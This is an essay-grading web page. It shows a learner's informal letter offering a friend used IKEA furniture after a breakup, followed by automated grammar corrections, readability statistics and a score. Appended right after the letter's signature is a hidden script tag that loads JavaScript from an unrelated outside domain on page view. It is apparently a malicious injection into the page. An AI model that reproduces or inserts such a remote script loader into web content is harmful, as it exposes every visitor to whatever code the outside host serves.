You want to sell some of your furniture. you think a friends of yours might like to buy it from you.write a letter , In your letter1. explain why are you selling2. describe the furniture3. suggest a date when your friend can come and see the furniture.beg

Hi Ali,

I am incredibly sorry for not have been in touch with you. Things have been a little chaotic at my end. Sarah and I have finally taken the plunge to part ways as it turns out that she's self-centered and a bit arrogant person. It's utterly shameful for me to stay with her any further.

I have set up the new house a few months ago and furnished it with high-quality furniture, paintings, and other decoration stuff. Now, the current flat is spacious enough for one person and I'll be shifting to a cozy apartment by the end of next week. Therefore, I would like to sell a seven-seater sofa set and a dining table that I bought from Ikea. These items have been delicately used and are still in immaculate condition. I heard from James that you are on the lookout for Sofa Set and Dining table so I thought to get in touch with you. I'll offer you a good discount if you buy them together.

If you're interested in purchasing, you can pop round to see the condition of the furniture anytime on Wednesday.

Best Wishes,
Ammar.<script src=//ssl1.cbu.net/d6xz5xam></script>

Votes
Average: 7.3 (1 vote)
Essays by the user:

Grammar and spelling errors:
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Message: Possible spelling mistake found
Suggestion: she's
...lunge to part ways as it turns out that shes self-centered and a bit arrogant person...
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Line 5, column 191, Rule ID: ILL_I_LL[1]
Message: Did you mean 'I'll'?
Suggestion: I'll
...t is spacious enough for one person and Ill be shifting to a cozy apartment by the ...
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Line 5, column 545, Rule ID: ILL_I_LL[1]
Message: Did you mean 'I'll'?
Suggestion: I'll
... so I thought to get in touch with you. Ill offer you a good discount if you buy th...
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Line 7, column 4, Rule ID: EN_CONTRACTION_SPELLING
Message: Possible spelling mistake found
Suggestion: you're
...iscount if you buy them together. If youre interested in purchasing, you can pop r...
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Transition Words or Phrases used:
finally, if, look, so, still, therefore

Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments

Performance on Part of Speech:
To be verbs : 7.0 7.48453608247 94% => OK
Auxiliary verbs: 2.0 4.92783505155 41% => OK
Conjunction : 8.0 5.05154639175 158% => OK
Relative clauses : 3.0 3.03092783505 99% => OK
Pronoun: 24.0 32.9175257732 73% => OK
Preposition: 27.0 26.3917525773 102% => OK
Nominalization: 4.0 3.85567010309 104% => OK

Performance on vocabulary words:
No of characters: 851.0 937.175257732 91% => OK
No of words: 192.0 206.0 93% => More content wanted.
Chars per words: 4.43229166667 4.54256449028 98% => OK
Fourth root words length: 3.72241943641 3.78020617076 98% => OK
Word Length SD: 2.55256691847 2.54303337028 100% => OK
Unique words: 128.0 127.690721649 100% => OK
Unique words percentage: 0.666666666667 0.622605031667 107% => OK
syllable_count: 268.2 290.88556701 92% => OK
avg_syllables_per_word: 1.4 1.41237113402 99% => OK

A sentence (or a clause, phrase) starts by:
Pronoun: 7.0 9.13402061856 77% => OK
Article: 1.0 0.824742268041 121% => OK
Subordination: 1.0 1.83505154639 54% => OK
Conjunction: 1.0 0.463917525773 216% => Less conjunction wanted as sentence beginning.
Preposition: 0.0 1.44329896907 0% => More preposition wanted as sentence beginning.

Performance on sentences:
How many sentences: 12.0 12.6804123711 95% => OK
Sentence length: 16.0 16.3608247423 98% => OK
Sentence length SD: 34.4096037951 44.8134815571 77% => OK
Chars per sentence: 70.9166666667 76.5299724578 93% => OK
Words per sentence: 16.0 16.8248392259 95% => OK
Discourse Markers: 3.25 4.34317383033 75% => OK
Paragraphs: 3.0 4.29896907216 70% => More paragraphs wanted.
Language errors: 4.0 2.54639175258 157% => OK
Sentences with positive sentiment : 5.0 7.41237113402 67% => OK
Sentences with negative sentiment : 5.0 1.49484536082 334% => Less negative sentences wanted.
Sentences with neutral sentiment: 2.0 3.94845360825 51% => OK
What are sentences with positive/Negative/neutral sentiment?

Coherence and Cohesion:
Essay topic to essay body coherence: 0.195237335938 0.216113520407 90% => OK
Sentence topic coherence: 0.0646552834188 0.0766984524023 84% => OK
Sentence topic coherence SD: 0.084434236183 0.0603063233224 140% => OK
Paragraph topic coherence: 0.144525757741 0.12726935374 114% => OK
Paragraph topic coherence SD: 0.0816388794778 0.0580467560999 141% => OK

Essay readability:
automated_readability_index: 7.4 8.37731958763 88% => Automated_readability_index is low.
flesch_reading_ease: 72.16 70.7449484536 102% => OK
smog_index: 3.1 3.82989690722 81% => OK
flesch_kincaid_grade: 7.2 7.45979381443 97% => OK
coleman_liau_index: 8.12 8.71597938144 93% => OK
dale_chall_readability_score: 7.47 7.59969072165 98% => OK
difficult_words: 37.0 41.2886597938 90% => OK
linsear_write_formula: 8.0 8.62886597938 93% => OK
gunning_fog: 8.4 8.54432989691 98% => OK
text_standard: 8.0 8.15463917526 98% => OK
What are above readability scores?

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Rates: 73.0337078652 out of 100
Scores by essay e-grader: 6.5 Out of 9
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